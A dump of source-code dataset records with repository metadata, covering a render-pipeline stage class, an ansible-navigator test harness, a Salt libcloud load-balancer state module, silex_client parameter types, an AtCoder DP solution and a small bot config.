":" + name if name in self._targets: return self.error("Overriding existing target: " + name) self._targets[name] = RenderTarget(name) return self._targets[name] def remove_target(self, target): """ Removes a previously registered target. This unregisters the target, as well as removing it from the list of assigned targets. """ target.remove() target_key = None for key, value_target in self._targets.items(): if target == value_target: target_key = key break del self._targets[target_key] def _get_shader_handle(self, path, *args): """ Returns a handle to a Shader object, containing all sources passed as arguments. The path argument will be used to locate shaders if no absolute path is given. This is the internal method used in load_shader and load_plugin_shader. """ assert len(args) > 0 and len(args) <= 3 path_args = [] for source in args: for prefix in ("/$$rpconfig", "/$$rp/shader", "/$$rptemp"): if prefix in source: path_args.append(source) break else: path_args.append(path.format(source)) # If only one shader is specified, assume its a postprocess fragment shader, # and use the default vertex shader if len(args) == 1: path_args = ["/$$rp/shader/default_post_process.vert.glsl"] + path_args return RPLoader.load_shader(*path_args) def _get_plugin_id(self): """ Returns the id of the plugin which created this stage. This is done by extracting the name of the plugin from the module name """ if "rpcore.stages" in self.__class__.__module__: return "render_pipeline_internal" return str(self.__class__.__module__).split(".")[-2] def load_shader(self, *args): """ Loads a shader from the given args. If only one argument is passed, the default template for the stage is loaded. If two arguments are passed, the first argument should be the vertex shader and the second argument should be the fragment shader. If three arguments are passed, the order should be vertex, fragment, geometry """ return self._get_shader_handle("/$$rp/shader/{0}", *args) def load_plugin_shader(self, *args): """ Loads a shader from the plugin directory. This method is useful for RenderStages created by plugins. For a description of the arguments, see the load_shader function. """ shader_path = "rpplugins/" + self._get_plugin_id() + "/shader/{0}" return self._get_shader_handle(shader_path, *args) def handle_window_resize(self): """ This method gets called when the window gets resized. By default, this just resizes all render targets. """ self.set_dimensions() for target in self._targets.values(): target.consider_resize() def set_dimensions(self): """ This method should set the dimensions on all targets which don't have a relative constraint, and also the size of all images. This is called after initialization, and when the window resized. """ pass

41.517045

84

0.66799

from rpcore.render_target import RenderTarget from rpcore.loader import RPLoader class RenderStage(): required_inputs = [] required_pipes = [] produced_inputs = {} produced_pipes = {} produced_defines = {} disabled = False def __init__(self, pipeline): self.stage_id = self.__class__.__name__ self._pipeline = pipeline self._active = True self._targets = {} def create(self): raise NotImplementedError() def reload_shaders(self): pass def set_shader_input(self, *args): for target in self._targets.values(): target.set_shader_input(*args) def set_shader_inputs(self, **kwargs): for target in self._targets.values(): target.set_shader_inputs(**kwargs) def update(self): pass @property def active(self): return self._active @active.setter def active(self, state): if self._active != state: self._active = state for target in self._targets.values(): target.active = self._active def create_target(self, name): name = self._get_plugin_id() + ":" + self.stage_id + ":" + name if name in self._targets: return self.error("Overriding existing target: " + name) self._targets[name] = RenderTarget(name) return self._targets[name] def remove_target(self, target): target.remove() target_key = None for key, value_target in self._targets.items(): if target == value_target: target_key = key break del self._targets[target_key] def _get_shader_handle(self, path, *args): assert len(args) > 0 and len(args) <= 3 path_args = [] for source in args: for prefix in ("/$$rpconfig", "/$$rp/shader", "/$$rptemp"): if prefix in source: path_args.append(source) break else: path_args.append(path.format(source)) if len(args) == 1: path_args = ["/$$rp/shader/default_post_process.vert.glsl"] + path_args return RPLoader.load_shader(*path_args) def _get_plugin_id(self): if "rpcore.stages" in self.__class__.__module__: return "render_pipeline_internal" return str(self.__class__.__module__).split(".")[-2] def load_shader(self, *args): return self._get_shader_handle("/$$rp/shader/{0}", *args) def load_plugin_shader(self, *args): shader_path = "rpplugins/" + self._get_plugin_id() + "/shader/{0}" return self._get_shader_handle(shader_path, *args) def handle_window_resize(self): self.set_dimensions() for target in self._targets.values(): target.consider_resize() def set_dimensions(self): pass

true

f7017bfdb0cd9b92d160e04e3ef909806fba71cd

5,304

py

Python

tests/integration/actions/inventory/base.py

LaudateCorpus1/ansible-navigator

28cdea13dba3e9039382eb993989db4b3e61b237

[ "Apache-2.0" ]

null

tests/integration/actions/inventory/base.py

LaudateCorpus1/ansible-navigator

28cdea13dba3e9039382eb993989db4b3e61b237

[ "Apache-2.0" ]

null

tests/integration/actions/inventory/base.py

LaudateCorpus1/ansible-navigator

28cdea13dba3e9039382eb993989db4b3e61b237

[ "Apache-2.0" ]

null

"""Base class for inventory interactive/stdout tests. """ import difflib import json import os import pytest from ....defaults import FIXTURES_DIR from ..._common import fixture_path_from_request from ..._common import update_fixtures from ..._interactions import SearchFor from ..._interactions import Step from ..._tmux_session import TmuxSession TEST_FIXTURE_DIR = os.path.join(FIXTURES_DIR, "integration", "actions", "inventory") ANSIBLE_INVENTORY_FIXTURE_DIR = os.path.join(TEST_FIXTURE_DIR, "ansible_inventory", "inventory.yml") TEST_CONFIG_FILE = os.path.join(TEST_FIXTURE_DIR, "ansible-navigator.yml") base_steps = ( Step(user_input=":0", comment="Browse hosts/ungrouped window"), Step(user_input=":0", comment="Group list window"), Step(user_input=":0", comment="group01 hosts detail window"), Step(user_input=":0", comment="host0101 detail window"), Step(user_input=":back", comment="Previous window (group01 hosts detail window)"), Step(user_input=":back", comment="Previous window (Group list window)"), Step(user_input=":1", comment="group02 hosts detail window"), Step(user_input=":0", comment="host0201 detail window"), Step(user_input=":back", comment="Previous window (group02 hosts detail window)"), Step(user_input=":back", comment="Previous window (Group list window)"), Step(user_input=":2", comment="group03 hosts detail window"), Step(user_input=":0", comment="host0301 detail window"), Step(user_input=":back", comment="Previous window (group03 hosts detail window)"), Step(user_input=":back", comment="Previous window (Group list window)"), Step(user_input=":back", comment="Previous window (Browse hosts/ungrouped window)"), Step(user_input=":back", comment="Previous window (top window)"), Step(user_input=":1", comment="Inventory hostname window"), Step(user_input=":0", comment="host0101 detail window"), Step(user_input=":back", comment="Previous window after host0101 (Inventory hostname window)"), Step(user_input=":1", comment="host0201 detail window"), Step(user_input=":back", comment="Previous window after host0201 (Inventory hostname window)"), Step(user_input=":2", comment="host0301 detail window"), ) class BaseClass: """base class for inventory interactive/stdout tests""" UPDATE_FIXTURES = False @staticmethod @pytest.fixture(scope="module", name="tmux_session") def fixture_tmux_session(request): """tmux fixture for this module""" params = { "setup_commands": [ "export ANSIBLE_DEVEL_WARNING=False", "export ANSIBLE_DEPRECATION_WARNINGS=False", ], "pane_height": "2000", "pane_width": "500", "config_path": TEST_CONFIG_FILE, "unique_test_id": request.node.nodeid, } with TmuxSession(**params) as tmux_session: yield tmux_session def test(self, request, tmux_session, step): """Run the tests for inventory, mode and ``ee`` set in child class.""" assert os.path.exists(ANSIBLE_INVENTORY_FIXTURE_DIR) assert os.path.exists(TEST_CONFIG_FILE) if step.search_within_response is SearchFor.HELP: search_within_response = ":help help" elif step.search_within_response is SearchFor.PROMPT: search_within_response = tmux_session.cli_prompt else: raise ValueError("test mode not set") received_output = tmux_session.interaction( value=step.user_input, search_within_response=search_within_response, ) if step.mask: # mask out some configuration that is subject to change each run mask = "X" * 50 for idx, line in enumerate(received_output): if tmux_session.cli_prompt in line: received_output[idx] = mask fixtures_update_requested = ( self.UPDATE_FIXTURES or os.environ.get("ANSIBLE_NAVIGATOR_UPDATE_TEST_FIXTURES") == "true" and not any((step.look_fors, step.look_nots)) ) if fixtures_update_requested: update_fixtures( request, step.step_index, received_output, step.comment, additional_information={ "look_fors": step.look_fors, "look_nots": step.look_nots, "compared_fixture": not any((step.look_fors, step.look_nots)), }, ) page = " ".join(received_output) if step.look_fors: assert all(look_for in page for look_for in step.look_fors) if step.look_nots: assert not any(look_not in page for look_not in step.look_nots) if not any((step.look_fors, step.look_nots)): dir_path, file_name = fixture_path_from_request(request, step.step_index) with open(file=os.path.join(dir_path, file_name), encoding="utf-8") as infile: expected_output = json.load(infile)["output"] assert expected_output == received_output, "\n" + "\n".join( difflib.unified_diff(expected_output, received_output, "expected", "received"), )

41.76378

100

0.651584

import difflib import json import os import pytest from ....defaults import FIXTURES_DIR from ..._common import fixture_path_from_request from ..._common import update_fixtures from ..._interactions import SearchFor from ..._interactions import Step from ..._tmux_session import TmuxSession TEST_FIXTURE_DIR = os.path.join(FIXTURES_DIR, "integration", "actions", "inventory") ANSIBLE_INVENTORY_FIXTURE_DIR = os.path.join(TEST_FIXTURE_DIR, "ansible_inventory", "inventory.yml") TEST_CONFIG_FILE = os.path.join(TEST_FIXTURE_DIR, "ansible-navigator.yml") base_steps = ( Step(user_input=":0", comment="Browse hosts/ungrouped window"), Step(user_input=":0", comment="Group list window"), Step(user_input=":0", comment="group01 hosts detail window"), Step(user_input=":0", comment="host0101 detail window"), Step(user_input=":back", comment="Previous window (group01 hosts detail window)"), Step(user_input=":back", comment="Previous window (Group list window)"), Step(user_input=":1", comment="group02 hosts detail window"), Step(user_input=":0", comment="host0201 detail window"), Step(user_input=":back", comment="Previous window (group02 hosts detail window)"), Step(user_input=":back", comment="Previous window (Group list window)"), Step(user_input=":2", comment="group03 hosts detail window"), Step(user_input=":0", comment="host0301 detail window"), Step(user_input=":back", comment="Previous window (group03 hosts detail window)"), Step(user_input=":back", comment="Previous window (Group list window)"), Step(user_input=":back", comment="Previous window (Browse hosts/ungrouped window)"), Step(user_input=":back", comment="Previous window (top window)"), Step(user_input=":1", comment="Inventory hostname window"), Step(user_input=":0", comment="host0101 detail window"), Step(user_input=":back", comment="Previous window after host0101 (Inventory hostname window)"), Step(user_input=":1", comment="host0201 detail window"), Step(user_input=":back", comment="Previous window after host0201 (Inventory hostname window)"), Step(user_input=":2", comment="host0301 detail window"), ) class BaseClass: UPDATE_FIXTURES = False @staticmethod @pytest.fixture(scope="module", name="tmux_session") def fixture_tmux_session(request): params = { "setup_commands": [ "export ANSIBLE_DEVEL_WARNING=False", "export ANSIBLE_DEPRECATION_WARNINGS=False", ], "pane_height": "2000", "pane_width": "500", "config_path": TEST_CONFIG_FILE, "unique_test_id": request.node.nodeid, } with TmuxSession(**params) as tmux_session: yield tmux_session def test(self, request, tmux_session, step): assert os.path.exists(ANSIBLE_INVENTORY_FIXTURE_DIR) assert os.path.exists(TEST_CONFIG_FILE) if step.search_within_response is SearchFor.HELP: search_within_response = ":help help" elif step.search_within_response is SearchFor.PROMPT: search_within_response = tmux_session.cli_prompt else: raise ValueError("test mode not set") received_output = tmux_session.interaction( value=step.user_input, search_within_response=search_within_response, ) if step.mask: mask = "X" * 50 for idx, line in enumerate(received_output): if tmux_session.cli_prompt in line: received_output[idx] = mask fixtures_update_requested = ( self.UPDATE_FIXTURES or os.environ.get("ANSIBLE_NAVIGATOR_UPDATE_TEST_FIXTURES") == "true" and not any((step.look_fors, step.look_nots)) ) if fixtures_update_requested: update_fixtures( request, step.step_index, received_output, step.comment, additional_information={ "look_fors": step.look_fors, "look_nots": step.look_nots, "compared_fixture": not any((step.look_fors, step.look_nots)), }, ) page = " ".join(received_output) if step.look_fors: assert all(look_for in page for look_for in step.look_fors) if step.look_nots: assert not any(look_not in page for look_not in step.look_nots) if not any((step.look_fors, step.look_nots)): dir_path, file_name = fixture_path_from_request(request, step.step_index) with open(file=os.path.join(dir_path, file_name), encoding="utf-8") as infile: expected_output = json.load(infile)["output"] assert expected_output == received_output, "\n" + "\n".join( difflib.unified_diff(expected_output, received_output, "expected", "received"), )

true

f7017f4f4ad299560711cdd1fb4c0b007148e3da

5,747

py

Python

salt/states/libcloud_loadbalancer.py

yuriks/salt

d2a5bd8adddb98ec1718d79384aa13b4f37e8028

[ "Apache-2.0", "MIT" ]

5

2017-02-07T05:39:29.000Z

2020-06-13T02:07:33.000Z

salt/states/libcloud_loadbalancer.py

yuriks/salt

d2a5bd8adddb98ec1718d79384aa13b4f37e8028

[ "Apache-2.0", "MIT" ]

86

2017-01-27T11:54:46.000Z

2020-05-20T06:25:26.000Z

salt/states/libcloud_loadbalancer.py

yuriks/salt

d2a5bd8adddb98ec1718d79384aa13b4f37e8028

[ "Apache-2.0", "MIT" ]

11

2017-01-26T19:36:29.000Z

2021-12-11T07:54:16.000Z

# -*- coding: utf-8 -*- ''' Apache Libcloud Load Balancer State =================================== Manage load balancers using libcloud :codeauthor: ``Anthony Shaw <anthonyshaw@apache.org>`` Apache Libcloud load balancer management for a full list of supported clouds, see http://libcloud.readthedocs.io/en/latest/loadbalancer/supported_providers.html Clouds include Amazon ELB, ALB, Google, Aliyun, CloudStack, Softlayer .. versionadded:: 2018.3.0 :configuration: This module uses a configuration profile for one or multiple Cloud providers .. code-block:: yaml libcloud_loadbalancer: profile_test1: driver: gce key: GOOG0123456789ABCXYZ secret: mysecret profile_test2: driver: alb key: 12345 secret: mysecret Example: Using States to deploy a load balancer with extended arguments to specify region .. code-block:: yaml lb_test: libcloud_loadbalancer.balancer_present: - name: example - port: 80 - protocol: http - profile: google - ex_region: us-east1 :depends: apache-libcloud ''' # Import Python Libs from __future__ import absolute_import, unicode_literals, print_function import logging # Import salt libs import salt.utils.compat log = logging.getLogger(__name__) def __virtual__(): return True def __init__(opts): salt.utils.compat.pack_dunder(__name__) def state_result(result, message, name, changes=None): if changes is None: changes = {} return {'result': result, 'comment': message, 'name': name, 'changes': changes} def balancer_present(name, port, protocol, profile, algorithm=None, members=None, **libcloud_kwargs): ''' Ensures a load balancer is present. :param name: Load Balancer name :type name: ``str`` :param port: Port the load balancer should listen on, defaults to 80 :type port: ``str`` :param protocol: Loadbalancer protocol, defaults to http. :type protocol: ``str`` :param profile: The profile key :type profile: ``str`` :param algorithm: Load balancing algorithm, defaults to ROUND_ROBIN. See Algorithm type in Libcloud documentation for a full listing. :type algorithm: ``str`` :param members: An optional list of members to create on deployment :type members: ``list`` of ``dict`` (ip, port) ''' balancers = __salt__['libcloud_loadbalancer.list_balancers'](profile) match = [z for z in balancers if z['name'] == name] if len(match) > 0: return state_result(True, "Balancer already exists", name) else: starting_members = None if members is not None: starting_members = [] for m in members: starting_members.append({'ip': m['ip'], 'port': m['port']}) balancer = __salt__['libcloud_loadbalancer.create_balancer']( name, port, protocol, profile, algorithm=algorithm, members=starting_members, **libcloud_kwargs) return state_result(True, "Created new load balancer", name, balancer) def balancer_absent(name, profile, **libcloud_kwargs): ''' Ensures a load balancer is absent. :param name: Load Balancer name :type name: ``str`` :param profile: The profile key :type profile: ``str`` ''' balancers = __salt__['libcloud_loadbalancer.list_balancers'](profile) match = [z for z in balancers if z['name'] == name] if len(match) == 0: return state_result(True, "Balancer already absent", name) else: result = __salt__['libcloud_loadbalancer.destroy_balancer'](match[0]['id'], profile, **libcloud_kwargs) return state_result(result, "Deleted load balancer", name) def member_present(ip, port, balancer_id, profile, **libcloud_kwargs): ''' Ensure a load balancer member is present :param ip: IP address for the new member :type ip: ``str`` :param port: Port for the new member :type port: ``int`` :param balancer_id: id of a load balancer you want to attach the member to :type balancer_id: ``str`` :param profile: The profile key :type profile: ``str`` ''' existing_members = __salt__['libcloud_loadbalancer.list_balancer_members'](balancer_id, profile) for member in existing_members: if member['ip'] == ip and member['port'] == port: return state_result(True, "Member already present", balancer_id) member = __salt__['libcloud_loadbalancer.balancer_attach_member'](balancer_id, ip, port, profile, **libcloud_kwargs) return state_result(True, "Member added to balancer, id: {0}".format(member['id']), balancer_id, member) def member_absent(ip, port, balancer_id, profile, **libcloud_kwargs): ''' Ensure a load balancer member is absent, based on IP and Port :param ip: IP address for the member :type ip: ``str`` :param port: Port for the member :type port: ``int`` :param balancer_id: id of a load balancer you want to detach the member from :type balancer_id: ``str`` :param profile: The profile key :type profile: ``str`` ''' existing_members = __salt__['libcloud_loadbalancer.list_balancer_members'](balancer_id, profile) for member in existing_members: if member['ip'] == ip and member['port'] == port: result = __salt__['libcloud_loadbalancer.balancer_detach_member'](balancer_id, member['id'], profile, **libcloud_kwargs) return state_result(result, "Member removed", balancer_id) return state_result(True, "Member already absent", balancer_id)

31.576923

132

0.65669

from __future__ import absolute_import, unicode_literals, print_function import logging import salt.utils.compat log = logging.getLogger(__name__) def __virtual__(): return True def __init__(opts): salt.utils.compat.pack_dunder(__name__) def state_result(result, message, name, changes=None): if changes is None: changes = {} return {'result': result, 'comment': message, 'name': name, 'changes': changes} def balancer_present(name, port, protocol, profile, algorithm=None, members=None, **libcloud_kwargs): balancers = __salt__['libcloud_loadbalancer.list_balancers'](profile) match = [z for z in balancers if z['name'] == name] if len(match) > 0: return state_result(True, "Balancer already exists", name) else: starting_members = None if members is not None: starting_members = [] for m in members: starting_members.append({'ip': m['ip'], 'port': m['port']}) balancer = __salt__['libcloud_loadbalancer.create_balancer']( name, port, protocol, profile, algorithm=algorithm, members=starting_members, **libcloud_kwargs) return state_result(True, "Created new load balancer", name, balancer) def balancer_absent(name, profile, **libcloud_kwargs): balancers = __salt__['libcloud_loadbalancer.list_balancers'](profile) match = [z for z in balancers if z['name'] == name] if len(match) == 0: return state_result(True, "Balancer already absent", name) else: result = __salt__['libcloud_loadbalancer.destroy_balancer'](match[0]['id'], profile, **libcloud_kwargs) return state_result(result, "Deleted load balancer", name) def member_present(ip, port, balancer_id, profile, **libcloud_kwargs): existing_members = __salt__['libcloud_loadbalancer.list_balancer_members'](balancer_id, profile) for member in existing_members: if member['ip'] == ip and member['port'] == port: return state_result(True, "Member already present", balancer_id) member = __salt__['libcloud_loadbalancer.balancer_attach_member'](balancer_id, ip, port, profile, **libcloud_kwargs) return state_result(True, "Member added to balancer, id: {0}".format(member['id']), balancer_id, member) def member_absent(ip, port, balancer_id, profile, **libcloud_kwargs): existing_members = __salt__['libcloud_loadbalancer.list_balancer_members'](balancer_id, profile) for member in existing_members: if member['ip'] == ip and member['port'] == port: result = __salt__['libcloud_loadbalancer.balancer_detach_member'](balancer_id, member['id'], profile, **libcloud_kwargs) return state_result(result, "Member removed", balancer_id) return state_result(True, "Member already absent", balancer_id)

true

f7017fa3cd00892a2d9a04db6d620ac61486f985

7,245

py

Python

silex_client/utils/parameter_types.py

ArtFXDev/silex_client

657d594dcfec79e7c8f4053df9d4a5dbc0c9ac50

[ "MIT" ]

10

2021-09-21T03:26:45.000Z

2022-03-19T00:30:03.000Z

silex_client/utils/parameter_types.py

ArtFXDev/silex_dcc

657d594dcfec79e7c8f4053df9d4a5dbc0c9ac50

[ "MIT" ]

66

2021-09-17T09:54:23.000Z

2022-03-29T23:31:17.000Z

silex_client/utils/parameter_types.py

ArtFXDev/silex_dcc

657d594dcfec79e7c8f4053df9d4a5dbc0c9ac50

[ "MIT" ]

null

import pathlib from silex_client.utils.log import logger class AnyParameter(object): def __new__(cls, value): return value class CommandParameterMeta(type): def __new__(cls, name: str, bases: tuple, dct: dict): def serialize(): return { "name": "parameter", } attributes = { "serialize": serialize, } attributes.update(dct) return super().__new__(cls, name, bases, attributes) def get_default(self): return None def serialize(self): return None class TaskParameterMeta(CommandParameterMeta): def __init__(self): pass def __new__(cls): def serialize(): return { "name": "task", } def get_default(): return "" attributes = { "serialize": serialize, "get_default": get_default, } return super().__new__(cls, "TaskParameter", (str,), attributes) class IntArrayParameterMeta(CommandParameterMeta): def __init__(self, size: int): pass def __new__(cls, size: int): def __init__(self, value): if not isinstance(value, list): value = [value] for index, item in enumerate(value): value[index] = int(item) self.extend(value) def serialize(): return { "name": "int_array", "size": size, } def get_default(): return [0 for i in range(size)] attributes = { "__init__": __init__, "serialize": serialize, "get_default": get_default, } return super().__new__(cls, "IntArrayParameter", (list,), attributes) class RangeParameterMeta(CommandParameterMeta): def __init__(self, start: int, end: int, increment: int = 1): pass def __new__(cls, start: int, end: int, increment: int = 1): def serialize(): return { "name": "range", "start": start, "end": end, "increment": increment, } def get_default(): return start attributes = { "serialize": serialize, "get_default": get_default, } return super().__new__(cls, "RangeParameter", (int,), attributes) class SelectParameterMeta(CommandParameterMeta): def __init__(self, *list_options, **options): pass def __new__(cls, *list_options, **options): for unnamed_option in list_options: options[unnamed_option] = unnamed_option def serialize(): return {"name": "select", "options": options} def get_default(): return list(options.values())[0] if options else None attributes = { "serialize": serialize, "get_default": get_default, } return super().__new__(cls, "SelectParameter", (str,), attributes) class RadioSelectParameterMeta(CommandParameterMeta): def __init__(self, *list_options, **options): pass def __new__(cls, *list_options, **options): for unnamed_option in list_options: options[unnamed_option] = unnamed_option def serialize(): return {"name": "radio_select", "options": options} def get_default(): return list(options.values())[0] if options else None attributes = { "serialize": serialize, "get_default": get_default, } return super().__new__(cls, "RadioSelectParameter", (str,), attributes) class MultipleSelectParameterMeta(CommandParameterMeta): def __init__(self, *list_options, **options): pass def __new__(cls, *list_options, **options): for unnamed_option in list_options: options[unnamed_option] = unnamed_option def serialize(): return {"name": "multiple_select", "options": options} def get_default(): return [list(options.values())[0]] if options else None attributes = { "serialize": serialize, "get_default": get_default, } return super().__new__(cls, "SelectParameter", (list,), attributes) # TODO: Replace this parameter with ListParameterMeta class ListParameter(list): def __init__(self, value): logger.warning( "Deprecation warning: The parameter type ListParameter is deprecated in favor if ListParameterMeta()" ) data = value if not isinstance(value, list): data = [value] self.extend(data) class PathParameterMeta(CommandParameterMeta): def __init__(self, extensions=None, multiple=False): pass def __new__(cls, extensions=None, multiple=False): if extensions is None: extensions = ["*"] def __init_list__(self, value): if not isinstance(value, list): value = [value] for index, item in enumerate(value): value[index] = pathlib.Path(item) self.extend(value) def serialize(): return { "name": "Path", "extensions": extensions, "multiple": multiple, } def get_default(): return None attributes = { "serialize": serialize, "get_default": get_default, } if multiple: attributes["__init__"] = __init_list__ return super().__new__(cls, "PathParameter", (list,), attributes) return super().__new__( cls, "PathParameter", (type(pathlib.Path()),), attributes ) class ListParameterMeta(CommandParameterMeta): def __init__(self, parameter_type): pass def __new__(cls, parameter_type): def __init__(self, value): if not isinstance(value, list): value = [value] for index, item in enumerate(value): value[index] = parameter_type(item) self.extend(value) def serialize(): item_type = None if isinstance(parameter_type, CommandParameterMeta): return parameter_type.serialize() elif isinstance(parameter_type, type): item_type = {"name": parameter_type.__name__} return {"name": "list", "itemtype": item_type} def get_default(): return [] attributes = { "__init__": __init__, "serialize": serialize, "get_default": get_default, } return super().__new__(cls, "ListParameter", (list,), attributes) class TextParameterMeta(CommandParameterMeta): def __init__(self, color=None): pass def __new__(cls, color=None): def serialize(): return {"name": "text", "color": color} def get_default(): return "" attributes = { "serialize": serialize, "get_default": get_default, } return super().__new__(cls, "ListParameter", (str,), attributes)

26.25

113

0.557902

import pathlib from silex_client.utils.log import logger class AnyParameter(object): def __new__(cls, value): return value class CommandParameterMeta(type): def __new__(cls, name: str, bases: tuple, dct: dict): def serialize(): return { "name": "parameter", } attributes = { "serialize": serialize, } attributes.update(dct) return super().__new__(cls, name, bases, attributes) def get_default(self): return None def serialize(self): return None class TaskParameterMeta(CommandParameterMeta): def __init__(self): pass def __new__(cls): def serialize(): return { "name": "task", } def get_default(): return "" attributes = { "serialize": serialize, "get_default": get_default, } return super().__new__(cls, "TaskParameter", (str,), attributes) class IntArrayParameterMeta(CommandParameterMeta): def __init__(self, size: int): pass def __new__(cls, size: int): def __init__(self, value): if not isinstance(value, list): value = [value] for index, item in enumerate(value): value[index] = int(item) self.extend(value) def serialize(): return { "name": "int_array", "size": size, } def get_default(): return [0 for i in range(size)] attributes = { "__init__": __init__, "serialize": serialize, "get_default": get_default, } return super().__new__(cls, "IntArrayParameter", (list,), attributes) class RangeParameterMeta(CommandParameterMeta): def __init__(self, start: int, end: int, increment: int = 1): pass def __new__(cls, start: int, end: int, increment: int = 1): def serialize(): return { "name": "range", "start": start, "end": end, "increment": increment, } def get_default(): return start attributes = { "serialize": serialize, "get_default": get_default, } return super().__new__(cls, "RangeParameter", (int,), attributes) class SelectParameterMeta(CommandParameterMeta): def __init__(self, *list_options, **options): pass def __new__(cls, *list_options, **options): for unnamed_option in list_options: options[unnamed_option] = unnamed_option def serialize(): return {"name": "select", "options": options} def get_default(): return list(options.values())[0] if options else None attributes = { "serialize": serialize, "get_default": get_default, } return super().__new__(cls, "SelectParameter", (str,), attributes) class RadioSelectParameterMeta(CommandParameterMeta): def __init__(self, *list_options, **options): pass def __new__(cls, *list_options, **options): for unnamed_option in list_options: options[unnamed_option] = unnamed_option def serialize(): return {"name": "radio_select", "options": options} def get_default(): return list(options.values())[0] if options else None attributes = { "serialize": serialize, "get_default": get_default, } return super().__new__(cls, "RadioSelectParameter", (str,), attributes) class MultipleSelectParameterMeta(CommandParameterMeta): def __init__(self, *list_options, **options): pass def __new__(cls, *list_options, **options): for unnamed_option in list_options: options[unnamed_option] = unnamed_option def serialize(): return {"name": "multiple_select", "options": options} def get_default(): return [list(options.values())[0]] if options else None attributes = { "serialize": serialize, "get_default": get_default, } return super().__new__(cls, "SelectParameter", (list,), attributes) class ListParameter(list): def __init__(self, value): logger.warning( "Deprecation warning: The parameter type ListParameter is deprecated in favor if ListParameterMeta()" ) data = value if not isinstance(value, list): data = [value] self.extend(data) class PathParameterMeta(CommandParameterMeta): def __init__(self, extensions=None, multiple=False): pass def __new__(cls, extensions=None, multiple=False): if extensions is None: extensions = ["*"] def __init_list__(self, value): if not isinstance(value, list): value = [value] for index, item in enumerate(value): value[index] = pathlib.Path(item) self.extend(value) def serialize(): return { "name": "Path", "extensions": extensions, "multiple": multiple, } def get_default(): return None attributes = { "serialize": serialize, "get_default": get_default, } if multiple: attributes["__init__"] = __init_list__ return super().__new__(cls, "PathParameter", (list,), attributes) return super().__new__( cls, "PathParameter", (type(pathlib.Path()),), attributes ) class ListParameterMeta(CommandParameterMeta): def __init__(self, parameter_type): pass def __new__(cls, parameter_type): def __init__(self, value): if not isinstance(value, list): value = [value] for index, item in enumerate(value): value[index] = parameter_type(item) self.extend(value) def serialize(): item_type = None if isinstance(parameter_type, CommandParameterMeta): return parameter_type.serialize() elif isinstance(parameter_type, type): item_type = {"name": parameter_type.__name__} return {"name": "list", "itemtype": item_type} def get_default(): return [] attributes = { "__init__": __init__, "serialize": serialize, "get_default": get_default, } return super().__new__(cls, "ListParameter", (list,), attributes) class TextParameterMeta(CommandParameterMeta): def __init__(self, color=None): pass def __new__(cls, color=None): def serialize(): return {"name": "text", "color": color} def get_default(): return "" attributes = { "serialize": serialize, "get_default": get_default, } return super().__new__(cls, "ListParameter", (str,), attributes)

true

f701801fce4e0791e2126e82c19b415fb5f428d4

761

py

Python

atcoder/abc/abc154_e.py

knuu/competitive-programming

16bc68fdaedd6f96ae24310d697585ca8836ab6e

[ "MIT" ]

1

2018-11-12T15:18:55.000Z

atcoder/abc/abc154_e.py

knuu/competitive-programming

16bc68fdaedd6f96ae24310d697585ca8836ab6e

[ "MIT" ]

null

atcoder/abc/abc154_e.py

knuu/competitive-programming

16bc68fdaedd6f96ae24310d697585ca8836ab6e

[ "MIT" ]

null

N = input() L = len(N) K = int(input()) dp = [[[0] * 2 for _ in range(K + 1)] for _ in range(L + 1)] dp[0][0][1] = 1 for i, x in zip(range(L), map(int, N)): for k in range(K): dp[i+1][k][0] += dp[i][k][0] # d == 0 if x == 0: dp[i+1][k][1] += dp[i][k][1] elif x > 0: dp[i+1][k][0] += dp[i][k][1] # d != 0 for d in range(1, 10): dp[i+1][k+1][0] += dp[i][k][0] if d == x: dp[i+1][k+1][1] += dp[i][k][1] elif d < x: dp[i+1][k+1][0] += dp[i][k][1] dp[i+1][K][0] += dp[i][K][0] # k == K and d == 0 if x == 0: dp[i+1][K][1] += dp[i][K][1] elif x > 0: dp[i+1][K][0] += dp[i][K][1] print(sum(dp[-1][K]))

29.269231

60

0.341656

N = input() L = len(N) K = int(input()) dp = [[[0] * 2 for _ in range(K + 1)] for _ in range(L + 1)] dp[0][0][1] = 1 for i, x in zip(range(L), map(int, N)): for k in range(K): dp[i+1][k][0] += dp[i][k][0] if x == 0: dp[i+1][k][1] += dp[i][k][1] elif x > 0: dp[i+1][k][0] += dp[i][k][1] for d in range(1, 10): dp[i+1][k+1][0] += dp[i][k][0] if d == x: dp[i+1][k+1][1] += dp[i][k][1] elif d < x: dp[i+1][k+1][0] += dp[i][k][1] dp[i+1][K][0] += dp[i][K][0] if x == 0: dp[i+1][K][1] += dp[i][K][1] elif x > 0: dp[i+1][K][0] += dp[i][K][1] print(sum(dp[-1][K]))

true

f70180b809d83d1f2352aa742abe4ed55f91163a

58

py

Python

config.py

marcelom/slask

5125d7e74932d5d0151323e935d9586cbc037f8f

[ "MIT" ]

1

2015-01-28T06:05:56.000Z

config.py

marcelom/slask

5125d7e74932d5d0151323e935d9586cbc037f8f

[ "MIT" ]

null

config.py

marcelom/slask

5125d7e74932d5d0151323e935d9586cbc037f8f

[ "MIT" ]

null

config = { "username": 'slask', "icon": ":poop:", }

11.6

23

0.465517

config = { "username": 'slask', "icon": ":poop:", }

true

f7018100d9e5b0dbbe8bcdafc3c55ae95bd3df34

5,553

py

Python

datasets/vqa_v2.py

TopCoder2K/mdetr

aedfd63f550ae36d1477484c489a2aa438d10aa3

[ "Apache-2.0" ]

2

2022-02-22T05:11:00.000Z

2022-03-30T18:59:50.000Z

datasets/vqa_v2.py

TopCoder2K/mdetr

aedfd63f550ae36d1477484c489a2aa438d10aa3

[ "Apache-2.0" ]

null

datasets/vqa_v2.py

TopCoder2K/mdetr

aedfd63f550ae36d1477484c489a2aa438d10aa3

[ "Apache-2.0" ]

null

